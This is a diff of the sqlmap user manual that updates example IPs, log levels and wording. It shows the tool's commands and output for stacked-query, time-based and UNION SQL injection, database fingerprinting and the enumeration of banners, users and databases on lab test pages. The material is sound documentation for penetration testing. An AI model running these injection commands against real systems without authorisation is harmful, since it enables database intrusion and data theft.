 [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1814,7 +2015,7 @@ every second due to a call to PHP function time():
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
   --string "luther" -v 1
 
 [hh:mm:22] [INFO] testing connection to the target url
@@ -1842,7 +2043,7 @@ every second due to a call to PHP function time():
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
   --regexp "<td>lu[\w][\w]er" -v 1
 
 [hh:mm:22] [INFO] testing connection to the target url
@@ -1867,16 +2068,16 @@ URL page content
 
      As you can see, when one of these options is specified, sqlmap skips the
 URL stability test.
      
 
-
      Consider one of these options a must when you are dealing with a page
-which content that changes itself at each refresh without modifying the
+
      Consider one of these options a MUST when dealing with a page
+with content that changes itself at each refresh without modifying the
 user's input.
      
 
 
 
      Exclude specific page content
      
 
-
      Options: --excl-str and --excl-reg
      
+
      Options: --excl-str and --excl-reg
      
 
-
      Another way to get around the dynamicity issue above explained is to exclude
+
      Another way to get around the dynamicity issue explained above is to exclude
 the dynamic part from the page content before processing it.
      
 
 
      As you see in the above example the number after Dynamic content: 
@@ -1887,7 +2088,7 @@ not injected page.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
   --excl-reg "Dynamic content: ([\d]+)"
 
 [hh:mm:22] [INFO] testing connection to the target url
@@ -1914,9 +2115,13 @@ stability test.
      
 
      5.5 Techniques
 
      
 
+
      These options can be used to test for specific SQL injection technique or
+to use one of them to exploit the affected parameter(s) rather than using
+the default blind SQL injection technique.
      
+
 
      Test for stacked queries (multiple statements) support
      
 
-
      Option: --stacked-test
      
+
      Option: --stacked-test
      
 
 
      It is possible to test if the web application technology supports
 stacked queries, multiple statements, on the injectable
@@ -1926,7 +2131,7 @@ parameter.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" \
   --stacked-test -v 1
 
 [...]
@@ -1950,7 +2155,7 @@ where PHP does not support them on MySQL, it does on PostgreSQL.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
   --stacked-test -v 1
 
 [...]
@@ -1967,7 +2172,7 @@ stacked queries support:    'id=1; SELECT pg_sleep(5);-- AND 3128=3128'
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" \
+$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" \
   --stacked-test -v 1
 
 [...]
@@ -1983,7 +2188,7 @@ stacked queries support:    'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'=
 
 
      Test for time based blind SQL injection
      
 
-
      Options: --time-test and --time-sec
      
+
      Options: --time-test and --time-sec
      
 
 
      It is possible to test if the target URL is affected by a time based
 blind SQL injection vulnerability.
      
@@ -1992,7 +2197,7 @@ blind SQL injection vulnerability.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" \
   --time-test -v 1
 
 [...]
@@ -2011,7 +2216,7 @@ time based blind sql injection payload:    'id=1 AND SLEEP(5) AND 5249=5249'
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
   --time-test -v 1
 
 [...]
@@ -2034,7 +2239,7 @@ time based blind sql injection payload:    'id=1; SELECT pg_sleep(5);-- AND 9644
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" \
+$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" \
   --time-test -v 1
 
 [...]
@@ -2055,13 +2260,13 @@ time based blind sql injection payload:    'name=luther'; WAITFOR DELAY '0:0:5';
 
      
 
 
      It is also possible to set the seconds to delay the response by providing
-the --time-sec option followed by an integer. By default it delays
-five seconds.
      
+the --time-sec option followed by an integer. By default delay
+is set to five seconds.
      
 
 
 
      Test for UNION query SQL injection
      
 
-
      Options: --union-test and --union-tech
      
+
      Options: --union-test and --union-tech
      
 
 
      It is possible to test if the target URL is affected by a UNION query
 (inband) SQL injection vulnerability.
@@ -2072,7 +2277,7 @@ technique.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" \
   --union-test -v 1
 
 [...]
@@ -2081,7 +2286,7 @@ back-end DBMS:  Oracle
 [hh:mm:27] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing 
 technique
 [hh:mm:27] [INFO] the target url could be affected by an inband sql injection vulnerability
-valid union:    'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT 
+valid union:    'http://172.16.213.131/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT 
 NULL, NULL, NULL FROM DUAL-- AND 6558=6558'
 
      
 
      
@@ -2090,7 +2295,7 @@ NULL, NULL, NULL FROM DUAL-- AND 6558=6558'
 
      By default sqlmap uses the NULL bruteforcing technique to
 detect the number of columns within the original SELECT statement.
 It is also possible to change it to ORDER BY clause
-bruteforcing with the --union-tech option.
      
+bruteforcing       with the --union-tech option.
      
 
 
      Further details on these techniques can be found 
 here.
      
@@ -2099,7 +2304,7 @@ bruteforcing with the --union-tech option.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_str.php?id=1" \
   --union-test --union-tech orderby -v 1
 
 [...]
@@ -2108,7 +2313,7 @@ back-end DBMS: PostgreSQL
 [hh:mm:51] [INFO] testing inband sql injection on parameter 'id' with ORDER BY clause 
 bruteforcing technique
 [hh:mm:51] [INFO] the target url could be affected by an inband sql injection vulnerability
-valid union:    'http://192.168.1.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND 
+valid union:    'http://172.16.213.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND 
 1262=1262'
 
      
 
      
@@ -2120,20 +2325,20 @@ In case a case it is strongly recommended to use this technique which saves
 a lot of time.
      
 
 
      It is strongly recommended to run at least once sqlmap with the
---union-test option to test if the affected parameter is used
+--union-test option to test if the affected parameter is used
 within a for cycle, or similar, and in case use
---union-use option to exploit this vulnerability because it
+--union-use option to exploit this vulnerability because it
 saves a lot of time and it does not weight down the web server log file
 with hundreds of HTTP requests.
      
 
 
 
      Use the UNION query SQL injection
      
 
-
      Option: --union-use
      
+
      Option: --union-use
      
 
-
      Providing the --union-use parameter, sqlmap will first test if
+
      Providing the --union-use parameter, sqlmap will first test if
 the target URL is affected by an inband SQL injection
-(--union-test) vulnerability then, in case it seems to be
+(--union-test) vulnerability then, in case it seems to be
 vulnerable, it will confirm that the parameter is affected by a Full
 UNION query SQL injection and use this technique to go ahead with the
 exploiting.
@@ -2148,7 +2353,7 @@ ahead.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 2 \
   --union-use --banner
 
 [...]
@@ -2161,10 +2366,10 @@ technique
 [hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id'
 [hh:mm:42] [INFO] the target url is affected by an exploitable full inband sql injection 
 vulnerability
-[hh:mm:42] [INFO] query:  UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
+[hh:mm:42] [DEBUG] query:  UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
 CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
 CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
-[hh:mm:42] [INFO] performed 3 queries in 0 seconds
+[hh:mm:42] [DEBUG] performed 3 queries in 0 seconds
 banner:
 ---
 Microsoft SQL Server  2000 - 8.00.194 (Intel X86) 
@@ -2184,13 +2389,13 @@ vulnerabilities.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 5 \
   --union-use --current-user
 
 [...]
 [hh:mm:29] [INFO] the target url is affected by an exploitable full inband sql 
 injection vulnerability
-[hh:mm:29] [INFO] query:  UNION ALL SELECT NULL, CONCAT(CHAR(112,110,121,77,88,86),
+[hh:mm:29] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(112,110,121,77,88,86),
 IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32)),CHAR(72,89,75,77,121,103)), 
 NULL# AND 8032=8032
 [hh:mm:29] [TRAFFIC OUT] HTTP request:
@@ -2199,11 +2404,11 @@ GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28C
 %29%2C%20CHAR%2832%29%29%2CCHAR%2872%2C89%2C75%2C77%2C121%2C103%29%29%2C%20NULL%23%20AND
 %208032=8032 HTTP/1.1
 Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.1.121:80
+Host: 172.16.213.131
 Accept-language: en-us,en;q=0.5
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
 image/png,*/*;q=0.5
-User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
 Connection: close
 
 [hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200):
@@ -2223,7 +2428,7 @@ Content-Type: text/html
 </table>
 </body></html>
 
-[hh:mm:29] [INFO] performed 3 queries in 0 seconds
+[hh:mm:29] [DEBUG] performed 3 queries in 0 seconds
 current user:    'testuser@localhost'
 
      
 
      
@@ -2242,7 +2447,7 @@ entry is displayed in the page content.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 \
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_partialunion.php?id=1" -v 2 \
   --union-use --dbs
 
 [...]
@@ -2258,43 +2463,43 @@ injection vulnerability
 [hh:mm:56] [INFO] confirming partial inband sql injection on parameter 'id'
 [hh:mm:56] [INFO] the target url is affected by an exploitable partial inband sql injection 
 vulnerability
-[hh:mm:56] [INFO] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),
+[hh:mm:56] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),
 IFNULL(CAST(COUNT(schema_name) AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL 
 FROM information_schema.SCHEMATA# AND 1062=1062
-[hh:mm:56] [INFO] performed 6 queries in 0 seconds
+[hh:mm:56] [DEBUG] performed 6 queries in 0 seconds
 [hh:mm:56] [INFO] the SQL query provided returns 4 entries
-[hh:mm:56] [INFO] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
+[hh:mm:56] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
 CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM 
 information_schema.SCHEMATA LIMIT 0, 1# AND 1421=1421
-[hh:mm:56] [INFO] performed 7 queries in 0 seconds
-[hh:mm:56] [INFO] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
+[hh:mm:56] [DEBUG] performed 7 queries in 0 seconds
+[hh:mm:56] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
 CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM 
 information_schema.SCHEMATA LIMIT 1, 1# AND 9553=9553
-[hh:mm:56] [INFO] performed 8 queries in 0 seconds
-[hh:mm:56] [INFO] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
+[hh:mm:56] [DEBUG] performed 8 queries in 0 seconds
+[hh:mm:56] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
 CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM 
 information_schema.SCHEMATA LIMIT 2, 1# AND 6805=6805
-[hh:mm:56] [INFO] performed 9 queries in 0 seconds
-[hh:mm:56] [INFO] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
+[hh:mm:56] [DEBUG] performed 9 queries in 0 seconds
+[hh:mm:56] [DEBUG] query:  UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
 CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM 
 information_schema.SCHEMATA LIMIT 3, 1# AND 739=739
-[hh:mm:56] [INFO] performed 10 queries in 0 seconds
+[hh:mm:56] [DEBUG] performed 10 queries in 0 seconds
 available databases [4]:
 [*] information_schema
 [*] mysql
 [*] privatedb
-[*] test
+[*] testdb
 
      
 
      
 
      
 
 
      As you can see, sqlmap identified that the parameter is affected by a
-partial inband SQL injection, consequently counted the number of query
-output entries and retrieved once per time by forcing the parameter
+partial inband SQL injection. Consequently, it counted the number of query
+output entries and retrieved them once per time. It forces the parameter
 (id) value 1 to its negative value -1 so that
-it does not returns, presumibly, any output leaving our own UNION ALL
-SELECT statement to produce one entry at a time and display it in the
-page content.
      
+it does not return, presumibly, any output. That leaves our own UNION ALL
+SELECT statement to produce one entry at a time and display only it in 
+the page content.
      
 
 
 
      5.6 Fingerprint
@@ -2302,7 +2507,7 @@ page content.
      
 
 
      Extensive database management system fingerprint
      
 
-
      Options: -f or --fingerprint
      
+
      Options: -f or --fingerprint
      
 
 
      By default the web application's back-end database management system
 fingerprint is performed requesting a database specific function which
@@ -2319,14 +2524,12 @@ specific syntax within the limits of the database architecture.
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1
 
 [...]
 [hh:mm:17] [INFO] testing MySQL
 [hh:mm:17] [INFO] confirming MySQL
-[hh:mm:17] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1
 [hh:mm:17] [INFO] retrieved: 5
-[hh:mm:17] [INFO] performed 13 queries in 0 seconds
 [hh:mm:17] [INFO] the back-end DBMS is MySQL
 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
 web application technology: PHP 5.2.6, Apache 2.2.9
@@ -2340,30 +2543,22 @@ system and the web application technology by parsing some HTTP response headers.
 
 
      If you want to perform an extensive database management system fingerprint
 based on various techniques like specific SQL dialects and inband error
-messages, you can  provide the --fingerprint option.
      
+messages, you can  provide the --fingerprint option.
      
 
 
      Example on a MySQL 5.0.67 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -f
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 -f
 
 [...]
 [hh:mm:49] [INFO] testing MySQL
 [hh:mm:49] [INFO] confirming MySQL
-[hh:mm:49] [INFO] query: SELECT 3 FROM information_schema.TABLES LIMIT 0, 1
 [hh:mm:49] [INFO] retrieved: 3
-[hh:mm:49] [INFO] performed 13 queries in 0 seconds
 [hh:mm:49] [INFO] the back-end DBMS is MySQL
-[hh:mm:49] [INFO] query: SELECT 3 FROM information_schema.PARAMETERS LIMIT 0, 1
 [hh:mm:49] [INFO] retrieved: 
-[hh:mm:49] [INFO] performed 6 queries in 0 seconds
-[hh:mm:49] [INFO] query: MID(@@table_open_cache, 1, 1)
 [hh:mm:49] [INFO] retrieved: 
-[hh:mm:49] [INFO] performed 6 queries in 0 seconds
-[hh:mm:49] [INFO] query: MID(@@hostname, 1, 1)
 [hh:mm:49] [INFO] retrieved: t
-[hh:mm:49] [INFO] performed 13 queries in 0 seconds
 [hh:mm:49] [INFO] executing MySQL comment injection fingerprint
 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
 web application technology: PHP 5.2.6, Apache 2.2.9
@@ -2378,17 +2573,14 @@ back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -v 1 -f
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -v 1 -f
 
 [...]
 [hh:mm:38] [WARNING] the back-end DMBS is not MySQL
 [hh:mm:38] [INFO] testing Oracle
 [hh:mm:38] [INFO] confirming Oracle
 [hh:mm:38] [INFO] the back-end DBMS is Oracle
-[hh:mm:38] [INFO] query: SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION 
-WHERE ROWNUM=1
 [hh:mm:38] [INFO] retrieved: 10
-[hh:mm:38] [INFO] performed 20 queries in 0 seconds
 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
 web application technology: PHP 5.2.6, Apache 2.2.9
 back-end DBMS: active fingerprint: Oracle 10g
@@ -2401,19 +2593,15 @@ back-end DBMS: active fingerprint: Oracle 10g
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -f
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 1 -f
 
 [...]
 [hh:mm:14] [WARNING] the back-end DMBS is not Oracle
 [hh:mm:14] [INFO] testing PostgreSQL
 [hh:mm:14] [INFO] confirming PostgreSQL
 [hh:mm:14] [INFO] the back-end DBMS is PostgreSQL
-[hh:mm:14] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)
 [hh:mm:14] [INFO] retrieved: 2
-[hh:mm:14] [INFO] performed 13 queries in 0 seconds
-[hh:mm:14] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)
 [hh:mm:14] [INFO] retrieved: 
-[hh:mm:14] [INFO] performed 6 queries in 0 seconds
 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
 web application technology: PHP 5.2.6, Apache 2.2.9
 back-end DBMS: active fingerprint: PostgreSQL >= 8.3.0
@@ -2422,15 +2610,15 @@ back-end DBMS: active fingerprint: PostgreSQL >= 8.3.0
 
      
 
      
 
-
      As you can see from this last example, sqlmap first tested for MySQL,
+
      As you can see from the last example, sqlmap first tested for MySQL,
 then for Oracle, then for PostgreSQL since the user did not forced the
-back-end database management system name with option --dbms.
      
+back-end database management system name with option --dbms.
      
 
 
      Example on a Microsoft SQL Server 2000 Service Pack 0 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 1 -f
 
 [...]
 [hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
@@ -2449,7 +2637,7 @@ back-end DBMS:  active fingerprint: Microsoft SQL Server 2000
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f
+$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 1 -f
 
 [...]
 [hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
@@ -2465,33 +2653,33 @@ back-end DBMS: active fingerprint: Microsoft SQL Server 2005
 
      
 
 
      If you want an even more accurate result, based also on banner parsing,
-you can also provide the -b or --banner option.
      
+you can also provide the -b or --banner option.
      
 
 
      Example on a MySQL 5.0.67 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -f -b
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 2 -f -b
 
 [...]
 [hh:mm:04] [INFO] testing MySQL
 [hh:mm:04] [INFO] confirming MySQL
-[hh:mm:04] [INFO] query: SELECT 0 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:04] [DEBUG] query: SELECT 0 FROM information_schema.TABLES LIMIT 0, 1
 [hh:mm:04] [INFO] retrieved: 0
-[hh:mm:04] [INFO] performed 13 queries in 0 seconds
+[hh:mm:04] [DEBUG] performed 13 queries in 0 seconds
 [hh:mm:04] [INFO] the back-end DBMS is MySQL
-[hh:mm:04] [INFO] query: VERSION()
+[hh:mm:04] [DEBUG] query: VERSION()
 [hh:mm:04] [INFO] retrieved: 5.0.67-0ubuntu6
-[hh:mm:05] [INFO] performed 111 queries in 1 seconds
-[hh:mm:05] [INFO] query: SELECT 0 FROM information_schema.PARAMETERS LIMIT 0, 1
+[hh:mm:05] [DEBUG] performed 111 queries in 1 seconds
+[hh:mm:05] [DEBUG] query: SELECT 0 FROM information_schema.PARAMETERS LIMIT 0, 1
 [hh:mm:05] [INFO] retrieved: 
-[hh:mm:05] [INFO] performed 6 queries in 0 seconds
-[hh:mm:05] [INFO] query: MID(@@table_open_cache, 1, 1)
+[hh:mm:05] [DEBUG] performed 6 queries in 0 seconds
+[hh:mm:05] [DEBUG] query: MID(@@table_open_cache, 1, 1)
 [hh:mm:05] [INFO] retrieved: 
-[hh:mm:05] [INFO] performed 6 queries in 0 seconds
-[hh:mm:05] [INFO] query: MID(@@hostname, 1, 1)
+[hh:mm:05] [DEBUG] performed 6 queries in 0 seconds
+[hh:mm:05] [DEBUG] query: MID(@@hostname, 1, 1)
 [hh:mm:05] [INFO] retrieved: t
-[hh:mm:06] [INFO] performed 13 queries in 0 seconds
+[hh:mm:06] [DEBUG] performed 13 queries in 0 seconds
 [hh:mm:06] [INFO] executing MySQL comment injection fingerprint
 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
 web application technology: PHP 5.2.6, Apache 2.2.9
@@ -2505,28 +2693,28 @@ back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
 
      
 
      
 
-
      As you can see, sqlmap was able to fingerprint also the back-end DBMS
+
      As you can see, sqlmap was also able to fingerprint the back-end DBMS
 operating system by parsing the DBMS banner value.
      
 
 
      Example on a Microsoft SQL Server 2000 Service Pack 0 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f -b
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 2 -f -b
 
 [...]
 [hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
 [hh:mm:03] [INFO] testing Microsoft SQL Server
 [hh:mm:03] [INFO] confirming Microsoft SQL Server
 [hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
-[hh:mm:03] [INFO] performed 13 queries in 0 seconds
-[hh:mm:03] [INFO] query: @@VERSION
+[hh:mm:03] [DEBUG] performed 13 queries in 0 seconds
+[hh:mm:03] [DEBUG] query: @@VERSION
 [hh:mm:03] [INFO] retrieved: Microsoft SQL Server  2000 - 8.00.194 (Intel X86) 
         Aug  6 2000 00:57:48 
         Copyright (c) 1988-2000 Microsoft Corporation
         Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
 
-[hh:mm:08] [INFO] performed 1308 queries in 4 seconds
+[hh:mm:08] [DEBUG] performed 1308 queries in 4 seconds
 web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
 web application technology: PHP 5.2.6, Apache 2.2.9
 back-end DBMS operating system: Windows 2000 Service Pack 4
@@ -2543,20 +2731,20 @@ back-end DBMS:  active fingerprint: Microsoft SQL Server 2000
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b
+$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 2 -f -b
 
 [...]
 [hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
 [hh:mm:03] [INFO] testing Microsoft SQL Server
 [hh:mm:03] [INFO] confirming Microsoft SQL Server
 [hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
-[hh:mm:03] [INFO] query: @@VERSION
+[hh:mm:03] [DEBUG] query: @@VERSION
 [hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) 
         Oct 14 2005 00:33:37 
         Copyright (c) 1988-2005 Microsoft Corporation
         Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
 
-[hh:mm:15] [INFO] performed 1343 queries in 11 seconds
+[hh:mm:15] [DEBUG] performed 1343 queries in 11 seconds
 web server operating system: Windows 2003 or 2000
 web application technology: ASP.NET, Microsoft IIS 6.0, ASP
 back-end DBMS operating system: Windows 2003 Service Pack 1
@@ -2579,22 +2767,27 @@ parsing library that fetches data from Chip Andrews'
 
      5.7 Enumeration
 
      
 
+
      These options can be used to enumerate the back-end database management
+system information, structure and data contained in the tables. Moreover
+you can run your own SQL statements.
      
+
+
 
      Banner
      
 
-
      Option: -b or --banner
      
+
      Option: -b or --banner
      
 
-
      Most of the modern database management systems have a function or an
-environment variable which returns details on the database managemet
-system version. Sometimes also the operating system where the daemon has
-been compiled on, the operating system architecture, its service pack.
-Usually this function is version() or the @@version
-environment variable.
      
+
      Most of the modern database management systems have a function and/or 
+an environment variable which returns details on the database management
+system version. Also, sometimes it returns the operating system version 
+where the daemon has been compiled on, the operating system architecture, 
+and its service pack. Usually the function is version() and the 
+environment variable @@version.
      
 
 
      Example on a MySQL 5.0.67 target:
      
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -b -v 0
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -b -v 0
 
 banner:    '5.0.67-0ubuntu6'
 
      
@@ -2605,7 +2798,7 @@ banner:    '5.0.67-0ubuntu6'
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 0
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b -v 0
 
 banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real 
 (Ubuntu 4.3.2-1ubuntu11) 4.3.2'
@@ -2617,7 +2810,7 @@ banner:    'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -b -v 0
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -b -v 0
 
 banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
 
      
@@ -2628,7 +2821,7 @@ banner:    'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -b -v 0
+$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -b -v 0
 
 banner:
 ---
@@ -2645,7 +2838,7 @@ Microsoft SQL Server  2000 - 8.00.194 (Intel X86)
 
      
 
      
 
      -$ python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 0 -b
+$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 0 -b
 
 banner:
 ---
@@ -2659,9 +2852,9 @@ Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
 
      
 
 
-
      Current user
      
+
      Session user
      
 
-
      Option: --current-user
      
+
      Option: --current-user
      
 
 
      It is possible to retrieve the database management system's user which is
 effectively performing the query on the database from the web application.
      
@@ -2670,7 +2863,7 @@ effectively performing the query on the database from the web application.
      
 
      
 
      
 
      -python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --current-user -v 0
+python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --current-user -v 0
 
 current user:    'testuser@localhost'
 
      
@@ -2680,7 +2873,7 @@ current user:    'testuser@localhost'
 
 
      Current database
      
 
-
      Option: --current-db
      
+
      Option: --current-db
      
 
 
      It is possible to retrieve the database management system's database the
 web application is connected to.
      
@@ -2689,7 +2882,7 @@ web application is connected to.
      
 
      
 
      
 
